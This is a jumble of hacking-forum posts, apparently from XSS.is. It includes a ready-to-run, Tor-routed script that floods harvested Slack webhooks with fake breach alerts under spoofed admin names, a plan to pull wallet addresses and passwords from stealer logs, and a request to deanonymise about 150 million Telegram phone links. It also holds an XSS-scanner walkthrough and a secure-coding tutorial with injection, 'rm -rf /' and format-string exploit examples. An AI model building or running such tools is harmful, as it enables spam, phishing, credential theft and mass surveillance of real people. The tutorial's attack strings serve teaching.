Народ нужна помощь, имеется файл со ссылками типа t.me/+абонентский номер, кто может посоветовать чем можно спарсить или как извлечь данные аккаунтов телеги, из такого рода ссылок, selenium не видит строк с id аккаунта, и выдает ошибку при парсинге ссылки, остальными способами тоже не вариант, бот в телеге работает только если абонентский номер есть в контактах, но так как там ограничения самой телеги на 15 контактов в сутки вообще не катит такой вариант, открытие ссылок под учеткой телеги в декстоп приложении выдают инфу только userbot, но при наведении на ссылку с абон номером имеется аккаунт, нужно спарсить таким образом около 150 миллионов ссылок, у кого есть какие идеи на пробу напишите, буду благодарен
Сегодня мы поговорим о том, что должно волновать каждого крутого программиста, — о безопасном коде. Ты думаешь, это скучно и сложно? Ничуть! Я поделюсь с тобой своим опытом и покажу, как научиться писать на Python код, за который потом не придется краснеть.
Область видимости переменной — это контекст, в котором переменная определена и доступна. Если переменная доступна во всем коде, она называется глобальной. Если переменная доступна только внутри функции или метода, она называется локальной.
Смотри, что происходит, если мы используем глобальную переменную:
Python:Copy to clipboard
secret = "my super secret data"
def print_secret():
# Используем глобальную переменную
print(secret)
print_secret()
Это может быть опасно, потому что глобальные переменные доступны во всем коде и их можно легко изменить. А что, если это важная переменная, которую не следует менять? Злоумышленник может воспользоваться этим и нанести вред.
Поэтому лучше использовать локальные переменные:
Python:Copy to clipboard
def print_secret():
# Объявляем локальную переменную
secret = "my super secret data"
print(secret)
print_secret()
Теперь переменная secret доступна только внутри функции print_secret(). Такой подход не только сделает код более безопасным, но и облегчит его чтение, а также упростит отладку и поддержку.
Вместо огромного исходника, содержащего описание всех объектов и функций, ты можешь сделать несколько модулей, каждый из которых выполняет свою задачу. Это более выгодный подход, поскольку модули потом будет легко использовать в других проектах.
Но как модульность помогает обезопасить код? Дело в том, что чем меньше кусочки, тем легче в них будет искать ошибки и тем меньше шанс случайно что‑то сломать, когда вносишь изменения. Хорошо организованный код легко менять, и если он разбит на изолированные части, то изменения в одной не затронут другие.
Речь здесь не только о разделении большого проекта на пакеты, которые можно будет импортировать, но и о дроблении кода на функции и объекты.
Вот пример плохого кода:
Python:Copy to clipboard
def do_something():
# Делаем много разных вещей здесь
# ...
# О, и тут мы делаем что-то еще
# ...
# И еще что-то здесь
# ...
В этом коде все свалено в одну функцию, которая делает множество разных вещей. Это плохо, потому что, если ты найдешь уязвимость в одной из этих вещей, изменения могут повлиять на другие части огромной функции. Чем она больше, тем сложнее будет предсказать результат правок.
А теперь посмотрим на хороший пример:
Python:Copy to clipboard
def do_something_1():
# Делаем что-то здесь
# ...
def do_something_2():
# Делаем что-то здесь
# ...
def do_something_3():
# Делаем что-то здесь
# ...
Мы разбили большую функцию на несколько маленьких, каждая из которых делает что‑то свое. Это гораздо безопаснее, потому что, если мы найдем уязвимость в одной из этих функций, мы сможем ее исправить, не затрагивая остальные. Заодно это делает наш код более читаемым и легким для поддержки, потому что теперь мы знаем, что каждая функция делает только одну вещь.
Еще один хороший способ изолировать код и повторно использовать его — это классы и объекты Python. Классы позволяют нам группировать связанные функции и данные вместе, делая код более управляемым и безопасным.
Вот пример хорошего кода с использованием классов:
Python:Copy to clipboard
class MyAwesomeClass:
def __init__(self, some_data):
self.some_data = some_data
def do_something_1(self):
# Делаем что-то с some_data здесь
# ...
def do_something_2(self):
# Делаем что-то еще с some_data здесь
# ...
В этом примере мы создаем класс MyAwesomeClass, который содержит два метода: do_something_1 и do_something_2. Каждый из этих методов работает с данными, которые мы передаем при создании объекта класса. Это позволяет нам контролировать, как эти данные используются и обрабатываются. Безопасность сразу возрастет!
Главный вывод здесь: чем проще и понятнее код и чем легче его поддерживать, тем он безопаснее.
Что такое эти самые инъекции? Представь, что злой пользователь вводит в твое приложение не данные, которые от него запросили, а исполняемый код, который приложение по какой‑то причине возьмет и выполнит. Причем зачастую это не код на Python, а запросы к базе данных на SQL или команды операционной системы. Звучит страшновато? Давай посмотрим, почему такое иногда случается.
Взгляни на этот кусок кода. Что здесь не так?
Python:Copy to clipboard
def get_user(name):
query = "SELECT * FROM users WHERE name = '" + name + "'"
return execute_query(query)
Ты просто берешь имя пользователя и сразу втыкаешь его в запрос SQL. А что, если пользователь введет что‑то вроде 'John'; DROP TABLE users;--? Поздравляю, ты только что потерял всех своих пользователей!
Вот как выглядит безопасная версия этого кода:
Python:Copy to clipboard
def get_user(name):
query = "SELECT * FROM users WHERE name = ?"
return execute_query(query, (name,))
Здесь мы используем параметризованный запрос, то есть передаем имя пользователя отдельно, и наша база данных гарантированно его экранирует. Это значит, что, даже если пользователь попытается ввести SQL-код, тот будет воспринят просто как строка и ничего плохого не произойдет.
Но это только начало. Всегда помни: ты должен доверять пользовательским данным настолько, насколько доверяешь незнакомцу, вдруг предлагающему тебе сладкую конфету.
Что за страшные слова — «сериализация» и «десериализация»? Не вызывают ли они дереализацию? Не пугайся! Сериализация — это по сути просто превращение всяких структур вроде списков и словарей в строку, которую легко хранить на диске или передавать по сети. Десериализация — обратный процесс, то есть превращение последовательности символов в структуру.
Здесь кроется целый класс уязвимостей. Если превращать строки в структуры неаккуратно, то злоумышленник, манипулируя данными, сможет перехватить управление твоей программой.
Пример опасного кода:
Python:Copy to clipboard
import pickle
# Никогда так не делай!
def unsafe_deserialization(serialized_data):
return pickle.loads(serialized_data)
В этом примере я использовал модуль pickle для десериализации данных. Это удобно, но pickle не обеспечивает безопасность. Если злоумышленник подменит сериализованные данные, он сможет выполнить произвольный код на твоем компьютере.
Хороший пример:
Python:Copy to clipboard
import json
# Гораздо лучше!
def safe_deserialization(serialized_data):
return json.loads(serialized_data)
Здесь я использую для десериализации модуль json. Он не позволяет выполнить произвольный код, так что он безопаснее. Всегда помни о рисках и выбирай безопасные методы!
Этот принцип гласит: дай программе только те привилегии, которые ей действительно нужны для выполнения ее задачи.
Это очень важно для безопасности, потому что, если злоумышленник взломает твою программу, он получит те же привилегии, что и программа. Если ее привилегии ограниченны, сузится и круг возможных действий злоумышленника.
Посмотрим на пример. Представь, что у тебя есть функция, которая должна записывать данные в файл:
Python:Copy to clipboard
def write_to_file(file_path, data):
with open(file_path, 'w') as f:
f.write(data)
Этой функции не нужны никакие привилегии, кроме возможности записи в конкретный файл. Но если ты запустишь эту функцию с привилегиями администратора, злоумышленник, взломавший эту функцию, сможет делать в системе абсолютно все.
Всегда давай своим функциям и программам только те привилегии, которые им действительно нужны, и ничего больше.
Безопасная авторизация пользователей — это огромная тема, в которой есть масса подводных камней. Впрочем, некоторых из них избежать очень легко.
Начнем с того, что абсолютно недопустимо. Никогда (никогда!) не храни пароли в открытом виде. Например, вот так:
Python:Copy to clipboard
users = {
"alice": "password123",
"bob": "qwerty321"
}
Если эти данные утекут (а вероятность этого всегда есть), то все пароли твоих пользователей станут известны.
Так как же делать правильно? Нужно использовать хеширование паролей. Хеширование — это процесс, при котором из пароля генерируется уникальная строка фиксированной длины. При этом уникальность хеша означает, что даже незначительное изменение в исходном пароле полностью изменит его хеш.
В Python для хеширования можно использовать модуль hashlib. Посмотрим, как это работает, на примере:
Python:Copy to clipboard
import hashlib
password = "password123"
hashed_password = hashlib.sha256(password.encode()).hexdigest()
print(hashed_password)
Теперь, даже если база данных утечет, хакеры увидят только хеши паролей, а не сами пароли.
Простое хеширование тоже неидеально. Хакеры могут использовать так называемые радужные таблицы для угадывания паролей. Усложнит им задачу «соль» — случайная строка, которую мы добавляем к паролю перед хешированием. Так каждый пароль будет иметь уникальный хеш, даже если два пользователя зададут один и тот же пароль.
Python:Copy to clipboard
import hashlib
import os
password = "password123"
salt = os.urandom(16) # Сгенерируем соль
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
print(salted_password)
В этом примере мы использовали функцию pbkdf2_hmac из модуля hashlib, которая позволяет применять соль к паролю. Соль мы генерируем с помощью функции os.urandom, а затем используем ее вместе с паролем и количеством итераций для создания хешированного пароля.
Таким образом, даже если два пользователя выберут одинаковые пароли, их хеш будет отличаться из‑за разной соли. Так угадать пароль гораздо сложнее.
Однако теперь тебе нужно хранить и соль. Как правило, соль и хеш хранятся вместе, например:
Python:Copy to clipboard
import hashlib
import os
password = "password123"
# Генерируем соль
salt = os.urandom(16)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
# Сохраняем соль вместе с хешем
stored_password = salt + salted_password
Теперь у тебя есть основные инструменты для безопасного хранения паролей. Перейдем к проверке входных данных.
Проверка входных данных — это один из краеугольных камней безопасного программирования. Да, всегда сначала кажется, что это лишняя работа. Но верь мне, в долгосрочной перспективе это может спасти тебя от многих проблем.
Когда твоя программа получает данные из какого‑то внешнего источника, важно убедиться, что они соответствуют ожидаемому формату и не содержат вредоносного кода. Ведь не все пользователи хорошие. Некоторые могут пытаться взломать твою систему. Поэтому нам нужно быть внимательными, особенно если ты используешь старый метод форматирования с помощью str.format().
Уязвимый пример со str.format() (пример взят с [security.stackexchange.com](https://security.stackexchange.com/questions/238338/are- there-any-security-concerns-to-using-python-f-strings-with-user-input)):
Python:Copy to clipboard
from http.server import HTTPServer, BaseHTTPRequestHandler
secret = 'abc123'
class Handler(BaseHTTPRequestHandler):
name = 'xakep'
msg = 'welcome to {site.name}'
def do_GET(self):
res = ('<title>' + self.path + '</title>\n' + self.msg).format(site=self)
self.send_response(200)
self.send_header('content-type', 'text/html')
self.end_headers()
self.wfile.write(res.encode())
HTTPServer(('localhost', 8888), Handler).serve_forever()
Этот код запускает простой веб‑сервер, который при обработке GET-запроса возвращает HTML, вставляя имя сайта в сообщение приветствия. Название сайта берется из атрибута name обработчика Handler.
Ключевая уязвимость этого кода в том, что он использует значение self.path (то есть часть URL, предоставленного пользователем) в качестве части строки формата в строке res. Это позволяет злоумышленнику управлять строкой формата, что может привести к нежелательному поведению.
Эксплуатация будет выглядеть так:
Bash:Copy to clipboard
$ python3 example.py
$ curl 'http://localhost:8888/test'
welcome to xakep
Но атакующий может обратиться и к глобальным переменным:
Bash:Copy to clipboard
$ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}'
<title>/XXXabc123</title>
welcome to xakep
Здесь {site.do_GET.globals[secret]}
используется для чтения глобальной
переменной secret
, значение которой abc123
. Когда сервер обрабатывает этот
запрос, он вставляет значение abc123
в заголовок страницы.
Это происходит из‑за того, что self.path контролируется пользователем, и ты можешь это использовать для изменения форматированной строки.
Что делать? Использовать f-strings! Мало того что они безопасны, так еще и работают быстрее, да и код выглядит куда опрятнее.
Для примера выше безопасно будет использовать форматирование так:
Python:Copy to clipboard
res = f"<title>{self.path}\n{self.msg}"
Иногда необходимо фильтровать пользовательский ввод на наличие определенных символов. Например, нам нужно получить имя пользователя и в нем не должно быть ничего, кроме букв:
Python:Copy to clipboard
def say_hello(name):
if not isinstance(name, str) or not name.isalpha():
raise ValueError("Имя должно быть строкой и содержать только буквы")
print(f"Привет, {name}!")
try:
user_input = input("Введите ваше имя: ")
say_hello(user_input)
except ValueError as e:
print(f"Ошибка: {e}")
В этом примере мы проверяем, является ли введенное имя строкой и содержит ли оно только буквы. Если данные не соответствуют этим требованиям, вызывается исключение. В результате мы избегаем потенциально опасных ситуаций, связанных с некорректным вводом.
Проверка входных данных — это здорово, но не забывай и про санитизацию пользовательского ввода. При разработке веб‑приложений это важнейшая вещь, так как позволяет избежать самых разнообразных атак, таких как SQL-инъекции и cross-site scripting (XSS).
В Python для этого есть функции escape и библиотека Bleach.
Функцию escape предоставляет модуль html из стандартной библиотеки Python. Она преобразует специальные символы (например, <, >, & и кавычки) в их HTML- эквиваленты. Это позволяет безопасно отображать пользовательский ввод на веб‑страницах без риска выполнения вредоносного кода.
Пример использования escape:
Python:Copy to clipboard
from html import escape
user_input = "<script>malicious_code();</script>"
safe_input = escape(user_input)
print(safe_input)
Результат:
Code:Copy to clipboard
<script>malicious_code();</script>
Bleach — это сторонняя библиотека, которая предоставляет более широкий набор инструментов для санитизации и очистки HTML и текста. Bleach может убирать из HTML нежелательные или потенциально вредоносные теги и атрибуты.
Пример использования Bleach:
Python:Copy to clipboard
import bleach
user_input = "<script>malicious_code();</script>"
safe_input = bleach.clean(user_input)
print(safe_input) # Результат: <script>malicious_code();</script>
По умолчанию bleach.clean() удаляет все HTML-теги. Если хочешь разрешить определенные безопасные теги, можешь передать их в параметр tags:
Python:Copy to clipboard
safe_input = bleach.clean(user_input, tags=['b', 'i', 'u'])
В этом примере только теги , и будут разрешены, а все остальные — удалены.
Разрабатываешь веб‑приложение? Тогда давай поговорим о сессиях. Сессия — это способ сохранить данные между запросами пользователя. Когда пользователь входит в систему, мы создаем сессию, которая продолжается до тех пор, пока пользователь не выйдет из системы или сессия не истечет по тайм‑ауту.
Управление сессиями — это серьезный вопрос, и здесь мы можем столкнуться с несколькими уязвимостями, включая угон сессии и перехват сессионных куки. Поэтому правильное управление сессиями — это критически важно.
Давай пройдемся по нескольким основным принципам.
Механизм cookies часто используется для хранения сессионных идентификаторов. В этом случае ты должен не забыть выставить своим куки флаги Secure и HttpOnly. Secure означает, что куки будут передаваться только через HTTPS, а HttpOnly запрещает доступ к куки через JavaScript, что может помочь предотвратить перехват через межсайтовый скриптинг (XSS).
Python:Copy to clipboard
from flask import session, Flask
app = Flask(__name__)
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Lax',
)
Каждый раз, когда пользователь входит в систему или выходит из нее, следует регенерировать идентификатор сессии. Это помогает предотвратить угон сессии.
Python:Copy to clipboard
from flask import session
@app.route('/login', methods=['POST'])
def login():
# ...
# Проверка учетных данных
# ...
# Регенерация ID сессии после успешного входа
session.regenerate()
return "Успешный вход в систему!"
Бесконечные сессии — это плохо. Всегда устанавливай тайм‑аут для сессий.
Python:Copy to clipboard
from flask import Flask, session
from datetime import timedelta
app = Flask(__name__)
app.permanent_session_lifetime = timedelta(minutes=15)
Помни, сессии — это мощный инструмент, но их надо использовать осторожно и правильно, так что будь внимателен.
В Python есть встроенные функции eval() и exec(), которые выполняют переданный им в виде строки код на Python. Обе выполняют код, но с некоторыми отличиями.
Функция eval() ожидает строку, содержащую выражение Python, и возвращает значение выражения. Например, если ты передашь '1 + 2' функции eval(), она вернет 3.
Пример:
Python:Copy to clipboard
x = 1
print(eval('x + 1')) # Результат: 2
Функция exec() выполняет несколько строк кода Python. В отличие от eval() она не возвращает значение, а выполняет любые операторы в строке. Например, ты можешь использовать exec() для определения новых функций или классов.
Пример:
Python:Copy to clipboard
exec('x = 1\ny = 2\nprint(x + y)') # Результат: 3
То есть основная разница между eval() и exec() в том, что eval() возвращает значение выражения и может обрабатывать только одно выражение, тогда как exec() выполняет блок кода без возврата значения.
Но вот в чем загвоздка. Эти функции могут выполнить код, выполнение которого ты не планировал. Разумеется, это открывает двери для хакеров. Если злоумышленник получит доступ к eval() или exec() либо передаваемым в них параметрам, он может запустить любой код Python со всеми последствиями.
Давай посмотрим на примеры хорошего и плохого кода с использованием eval().
Плохой пример:
Python:Copy to clipboard
import os
def bad_eval(input_string):
return eval(input_string)
# Представь, что следующая строка пришла от пользователя
user_input = "os.system('rm -rf /')"
result = bad_eval(user_input)
В этом примере мы использовали eval() для выполнения строки, введенной пользователем. Если пользователь злонамерен, он может ввести строку, которая, к примеру, удалит все файлы на диске.
Хороший пример:
Python:Copy to clipboard
def good_eval(input_string):
safe_list = ['+', '-', '*', '/', ' ', '4', '2']
for i in input_string:
if i not in safe_list:
return "Error! Unsafe input."
return eval(input_string)
# Даже если пользователь пытается ввести опасный код, ничего не случится
user_input = "4 / 2 * os.system('rm -rf /')"
result = good_eval(user_input)
print(result)
# Вывод: "Error! Unsafe input."
В этом примере мы ограничиваем, что может быть введено в eval(), и тем самым уменьшаем риск. Мы создаем список безопасных символов и проверяем ввод: в нем не должно быть ничего, кроме этих символов. Если введенный пользователем символ не в списке, мы возвращаем сообщение об ошибке и не выполняем eval().
Однако даже в этом случае использование eval() все еще не совсем безопасно, потому что нам пришлось учесть все возможные варианты ввода. Это не всегда достижимо, особенно когда ввод становится более сложным.
Лучшей практикой будет вовсе избегать eval(), если это возможно. Есть много других способов обработки ввода пользователя, которые не подвержены такому риску.
Например, если ты хочешь обрабатывать математические выражения, можно использовать безопасные библиотеки, такие как SymPy. В них есть свои функции парсинга и выполнения математических выражений.
Пример безопасного использования SymPy:
Python:Copy to clipboard
from sympy import sympify
def safe_eval(input_string):
safe_list = ['+', '-', '*', '/', ' ', '4', '2']
for i in input_string:
if i not in safe_list:
return "Error! Unsafe input."
return sympify(input_string)
user_input = "4 / 2 * 2"
result = safe_eval(user_input)
print(result) # Выведет 4.0
В этом примере мы используем функцию sympify из библиотеки SymPy для выполнения математического выражения, введенного пользователем. Это безопаснее, чем использовать eval(), потому что SymPy не выполняет произвольный код Python, а только обрабатывает математические выражения.
Применение eval() может быть обоснованно — в основном когда тебе нужно динамически исполнить код на Python, который ты получаешь в виде строки. Но даже в этих случаях будь предельно осторожен и всегда валидируй ввод, чтобы избежать возможных уязвимостей.
Давай рассмотрим несколько примеров, когда вызывать eval() может быть полезно.
Наиболее очевидный случай — это создание собственного интерпретатора Python или REPL (read — eval — print loop). Тебе может потребоваться eval(), чтобы исполнять код, введенный пользователем.
Python:Copy to clipboard
while True:
user_input = input(">>> ")
try:
print(eval(user_input))
except Exception as e:
print("Ошибка: ", e)
Иногда eval() используют для динамического импортирования модулей. Например, нужно загрузить какие‑то модули, перечисленные как строковые значения. Однако в таких случаях лучше использовать для тех же целей библиотеку importlib.
Всегда помни: eval() — это мощный инструмент, но с большой мощью идет большая ответственность. Применяй его с осторожностью и только тогда, когда других вариантов нет.
Виртуальное окружение — это изолированная зона, в которой установлена определенная версия Python и библиотек. Этот механизм помогает оградить твой проект от изменений в системе. Заодно виртуальные окружения дают дополнительную безопасность.
Допустим, ты пишешь два проекта: Project_A и Project_B. Project_A требует Django версии 1.11, а Project_B — Django версии 2.2. Если установить обе версии Django глобально, ты столкнешься с конфликтом версий. Виртуальное окружение решает эту проблему, позволяя иметь две отдельные «копии» Python и библиотек для каждого проекта.
Допустим, тебе нужно создать виртуальное окружение для Project_A. Открой терминал и перейди в каталог Project_A, а затем введи
Bash:Copy to clipboard
python3 -m venv env
Это создаст виртуальное окружение с именем env. Теперь, чтобы активировать это окружение, используй следующую команду:
Bash:Copy to clipboard
source env/bin/activate
Просто и надежно! Так почему же это еще и более безопасно? Вот несколько причин:
Использовать виртуальные окружения не только удобно, это еще и важный аспект безопасного программирования на Python.
Следуя этим основным принципам, ты снизишь вероятность появления уязвимостей и сделаешь свой код более надежным. Всегда будь в курсе последних угроз и используй лучшие практики, чтобы свести риск к минимуму.
И помни, что безопасность — это не что‑то, что можно добавить в конце разработки. О ней нужно думать при написании каждой строчки кода. И хотя это может занять больше времени и усилий, в долгосрочной перспективе они обязательно окупятся.
ВЗЯТО: ТЫК
Всем привет, это парсер комментариев с твитов и чекер балансов на кошельках SOLANA по комментариям с твитера. Помогал местному мемберу форума, он хотел чтобы я написал ему реализацию через API твитера, но увы это дорого, решил сделать через библиотеку Selenium . Ему допиливаю более крутую версию, эту выкладываю под хайд. Может кому будет интересно посмотреть как парсится Twitter без API.
Автор: rand
Экслюзивно для: XSS.is
Нужные библиотеки для запуска:
Code:Copy to clipboard
pip install urllib3==1.26.16
pip install selenium==3.141.0
pip install webdriver_manager
pip install requests
You must have at least 55 reaction(s) to view the content.
P.S. Если интересно как работает, скину ссылку на видео, пишите в ПМ.
Для автора петухона и YAML в аду приготовлен отдельный котел в котором тоже
все выравнивается отступами. Сегодня в очередной раз потратил приличное время
на поиск бага, связанного с ~~ебанутым~~ , простите, но по другому его сложно
назвать, синтаксисом петухона, когда строка оказалась на один, сука, таб,
правее чем это было нужно.
Вот мне и стало интересно. Я один такой, что не могу до сих пор к нему
привыкнуть? Или же у меня есть таки товарищи по несчастью?
Хотел бы узнать ваше мнение насчет следующего софта
Пришла мысль написать парсер адресов криптокошельков с логов (metamask - с
проверкой на ledger/trezor, phantom, binance wallet, tronlink, ronin, brave и
wallet dat).
Софт cоздавать общий файл с результатами, в котором будет содержаться
следующая информация:
- путь к логу,
- количество кошельков,
- дата лога,
- наличие паролей в логе,
- сами адреса с указанием от какого кошелька адрес.
Опциаонально можно будет добавлять результат парсинга лога в папку с самим
логом и записать все уникальные пароли с лога.
Парсер будет только собирать адреса, но не проверять их. Софт подразумевает
дальнейший чек адресов вами через эквплореры, дебанк.
Возможно, в будущем буду думать о подкллючении чекера
Пригодится ли кому то такой оффлайн парсер? Хотел бы выслушать ваше мнение
Многопоточный, с рандомизацией (текст убрал), ловит сколько нужно ждать, шлёт через Tor. Реализация на коленке.
Python:Copy to clipboard
from requests import post
from json import loads
from threading import Thread
from sys import argv
from time import sleep
from random import choice
GL_PROXY = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
TEXT = ''
class SlackSpam:
def __init__(self) -> None:
self.runned = 0
self.sent = 0
self.locked = False
self.usernames = (
'admin', 'secops', 'devops', 'security', 'critical', 'ops',
'alert', 'system', 'pentest', 'pentester', 'global', 'devs',
'deamon', 'administrator', 'analytics', 'watchdog'
)
def gen_username(self) -> str:
username = choice(self.usernames)
if choice((True, False)):
username += 'd'
elif choice((True, False)):
username = username.capitalize()
elif choice((True, False)):
username += '_alert'
elif choice((True, False)):
username += '_watch'
return username
def gen_title(self) -> str:
titles = (
'Data Breach', 'Data Leak', 'Hacked', 'Incident', 'Breach', 'Leak',
'Security Misconfiguration', 'Problem', '!ASAP!', 'Urgent Alert',
'!READ THIS!', 'Warning', 'Look here', 'Look at this'
)
title = choice(titles)
if choice((True, False)):
title = title.casefold()
elif choice((True, False)):
title = title.title()
elif choice((True, False)):
title = title.capitalize()
return f'{argv[2]} {title}'
def gen_text(self) -> str:
return ''
def spam(self, token: str) -> None:
while self.locked:
sleep(0.04)
errors = 0
self.locked = True
self.runned += 1
self.locked = False
while True:
data = {
"username": self.gen_username(),
"icon_emoji": ":sleuth_or_spy:",
"attachments": [
{
"title": self.gen_title(),
"mrkdwn_in": ["text"],
"text": TEXT,
"color": choice(('red', 'black', 'blue', 'yellow', 'purple'))
}
]
}
try:
resp = post(
token, json=data, proxies=GL_PROXY
).text
except Exception as e:
if errors == 3:
break
print('Error:', e)
errors += 1
continue
while self.locked:
sleep(0.04)
if resp != 'ok':
if resp.startswith('{') and resp.endswith('}'):
resp = loads(resp)
if resp.get('error', '') == 'rate_limited':
sleep(resp['retry_after'])
continue
else:
print(resp)
else:
print(f'{token} - dead, coz: {resp}')
self.locked = True
self.runned -= 1
self.locked = False
break
self.locked = True
self.sent += 1
self.locked = False
print(f'Sent: {self.sent}; Threads: {self.runned}', end='\r')
def start(self) -> None:
with open(argv[1], 'r') as lines:
for line in lines:
if line.startswith('https://hooks.slack.com'):
Thread(target=self.spam, args=(line.strip(),), daemon=True).start()
while self.runned != 0:
sleep(1)
def main() -> None:
if len(argv) != 3:
print('main.py /path/to/hooks.txt "Company name"')
exit(0)
spammer = SlackSpam()
spammer.start()
if __name__ == '__main__':
main()
photo by mystical antiquity
hello guys , LC again
today we are here to talk about a python program that will perform cross site scripting attack simply by giving the target url.
so lets don't waste the time and begin.
before starting i want to mention that this script will just do the search and
the given web page not all the routes of the website , (wait for the update of
script in part 2)
so lets start the program by importing the require libraries
simple definations will be in the ul > li tag .
in this script we will work with kxss tool too . so let's install it first.
i asume that you use debian base os
kxss tool is lined in here.
run
Bash:Copy to clipboard
go install github.com/Emoe/kxss@latest
then copy kxss to /usr/local/go/bin
cp /root/go/bin/kxss /usr/local/go/bin/
if you did so and it did not work , search for sourcing the kxss to the command line
then install the pre requirements by doing
pip install beautifulsoup4
Python:Copy to clipboard
import subprocess
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, parse_qs
we use os for executing the results , requests for sending a get request , bs4 for searching for parameters and urllib for concating
import subprocess: This imports the subprocess module which allows you to run system commands from within your Python script.
import requests: This imports the requests library, which is used to send HTTP requests.
from bs4 import BeautifulSoup: This imports the BeautifulSoup class from the bs4 (BeautifulSoup 4) module, which is used for parsing HTML and XML documents.
from urllib.parse import urlparse, parse_qs: This imports urlparse and parse_qs functions from the urllib.parse module, which help in parsing URLs and their query strings.
so now we go to define a proxy server .
what proxy server will do is that it will proxy your traffic through proxy server
Python:Copy to clipboard
proxies = {
'https' : '127.0.0.1',
}
This sets up a proxy dictionary to route HTTPS requests through 127.0.0.1. This could be useful if you are using a local proxy for monitoring or debugging requests.
now we proxied trough the proxy server , and we have to crawl and send get request to the target web page . so let's define the func.
Python:Copy to clipboard
def get_url_parameters(url):
# Send a GET request to the URL
response = requests.get(url,proxies=proxies)
if response.status_code != 200:
print(f"Failed to retrieve the URL: {url}")
return {}
# Parse the HTML content using BeautifulSoup
soup = BeautifulSoup(response.content, 'html.parser')
# Find all links on the page
links = soup.find_all('a', href=True)
# Dictionary to store URL parameters
url_parameters = {}
**get_url_parameters function will send a request to the webpage and sets the
response to a variable called **__response , then it will check of the
http status code is 200 or not (checks of its valid or not) .
after this we parse the response from response variable and generate the new
response to the variable soup .
now we try to find the links and parameters so :
we create** ~~url_parameters~~**** dictionary to store url parameters
. then we do a foreach on the dictionary so we do :**
Python:Copy to clipboard
for link in links:
href = link['href']
parsed_url = urlparse(href)
params = parse_qs(parsed_url.query)
if params:
url_parameters[href] = params
then we simply return url_parameters by doing
Python:Copy to clipboard
return url_parameters
def get_url_parameters(url): This defines a function that takes a URL as an argument.
response = requests.get(url, proxies=proxies): Sends an HTTP GET request to the provided URL using the defined proxy.
if response.status_code != 200: Checks if the response status code is not 200 (OK). If not, it prints an error message and returns an empty dictionary.
soup = BeautifulSoup(response.content, 'html.parser'): Parses the HTML content of the response using BeautifulSoup.
links = soup.find_all('a', href=True): Finds all <a> tags with an href attribute on the page.
url_parameters = {}: Initializes an empty dictionary to store URL parameters.
For each link, it extracts the href attribute, parses the URL, and extracts the query parameters.
If the link has query parameters, they are added to the url_parameters dictionary.
Finally, the dictionary is returned.
now we have to save the result to a text file so that we will be able to make a change on them and create the execution result so :
Python:Copy to clipboard
def save_to_file(data, filename):
with open(filename, 'w') as file:
for url, params in data.items():
file.write(f'echo "{url}" | ./kxss \n')
**
save_to_file function gets two parameters , first data and second filename**
data is the parsed response and filename is the name of the file that we
want to create.
the we do a foreach of the parameters with two params called url
and params
**then we build the final text by saying
echo **" url" piped to kxss
and at the final , we save the result to the text file
def save_to_file(data, filename): This defines a function that takes data and a filename as arguments.
with open(filename, 'w') as file: Opens the specified file in write mode.
For each URL and its parameters in the data, it writes a command to the file that echoes the URL and pipes it to ./kxss.
Python:Copy to clipboard
website_url = input('enter target website: ')
in here we get the target url from the user , so we will be able to make a request to it and parse the data out of it
Python:Copy to clipboard
parameters = get_url_parameters(website_url)
we call the get_url_parameters function and set the response of
the fucntion to a variable called parameters** .**
now we have to call the save_to_file function and save the data because we
have all the dependencies.
Python:Copy to clipboard
output_filename = 'url_parameters.txt'
save_to_file(parameters, output_filename)
we have a variable called output_filename , this variable will contain the
name of the result file ( the name of the file we want to save the response of
the data in )
then we called the save_to_file function that will do the process of saving
the result datas to the file we specified .
Python:Copy to clipboard
print(f"URL parameters saved to {output_filename}")
then we print that the file is saved
website_url = input('enter target website: '): Prompts the user to enter a target website URL.
parameters = get_url_parameters(website_url): Calls the function to get URL parameters from the entered website.
output_filename = 'url_parameters.txt': Defines the output filename.
save_to_file(parameters, output_filename): Saves the collected URL parameters to the specified file.
print(f"URL parameters saved to {output_filename}"): Prints a confirmation message.
now we go to stage 2 -> executing the kxss with the parameters
so for this we need to create a function that will read the output file data ,
do a foreach on them , call the subprocess function and execute each lines.
Python:Copy to clipboard
def run_commands_from_file(file_path):
try:
with open(file_path, 'r') as file:
commands = file.readlines()
for command in commands:
command = command.strip() # Remove any leading/trailing whitespace
if command: # Ensure the command is not empty
result = subprocess.check_output(command, shell=True, text=True)
print(f"Executed: {command}")
print(result)
except FileNotFoundError:
print(f"The file {file_path} does not exist.")
except Exception as e:
print(f"An error occurred: {e}")
**
we basically created a fucntion called run_commands_from_file that will need a
parameter called file_path .
in the function we open the file that is specified in the func param and read
all of the lines of the text file and save the data in the variable called
commands
then we do a foreach on the command variable and strip each line , and finally
put the result to the command variable again to basically command variable
will be generated with a new entry
then we check if the command is not empty and after that we create a variable
called result that will contain the response of the subprocced check output
function
subprocess.check_output function will basically return the result of a
excecuted command so we will have the result set into result variable
**
the we do a print so we can see what was executed . after that we do the
except for error handling .
def run_commands_from_file(file_path): This defines a function that takes a file path as an argument.
Tries to open the specified file and read all lines.
For each line (command) in the file, it strips any whitespace and checks if the command is not empty.
If the command is not empty, it executes the command using subprocess.check_output and prints the command and its output.
Handles exceptions if the file is not found or any other error occurs.
now we should go for the final part : making the program word with calling the** run_command_from_file** function
Python:Copy to clipboard
file_path = 'url_parameters.txt'
[I][B]run_commands_from_file(file_path)
we created a variable called file_path that contains the path of the result
parameter text file that we generated in the first function of the script
[/B][/I]
then we run the run_command_from_file function and its all over
Defines the path to the file containing the commands.
Calls the function to run the commands from the specified file
summery:
with this script you will be able to search for the cross site scripting
vulnerabilities on the given web page with kxss tool.
we mentioned how you can install and run the program .
you can develop your programming skills by reading the script too cause we
used the libraries that are so imortent within these days.
if you want to donate this writer you can feel free to use :
0x066c519333AeC9dd0623e33C5ea9f84785910E96
main file will be attached
Enjoy
Уникально для: XSS.IS
Написал: rand
Здравствуйте, написал бота для размещения файлов. Все подробно указано в коде. БД в архиве. Потом можно подписку прикрутить в версии 0.2.
Code:Copy to clipboard
pip install aiogram
bot.py:
Python:Copy to clipboard
import logging
from aiogram import Bot, Dispatcher, types
from aiogram.filters.command import Command
from aiogram.filters import Filter
from aiogram.types import Message
from db import Database
#Работа с БД
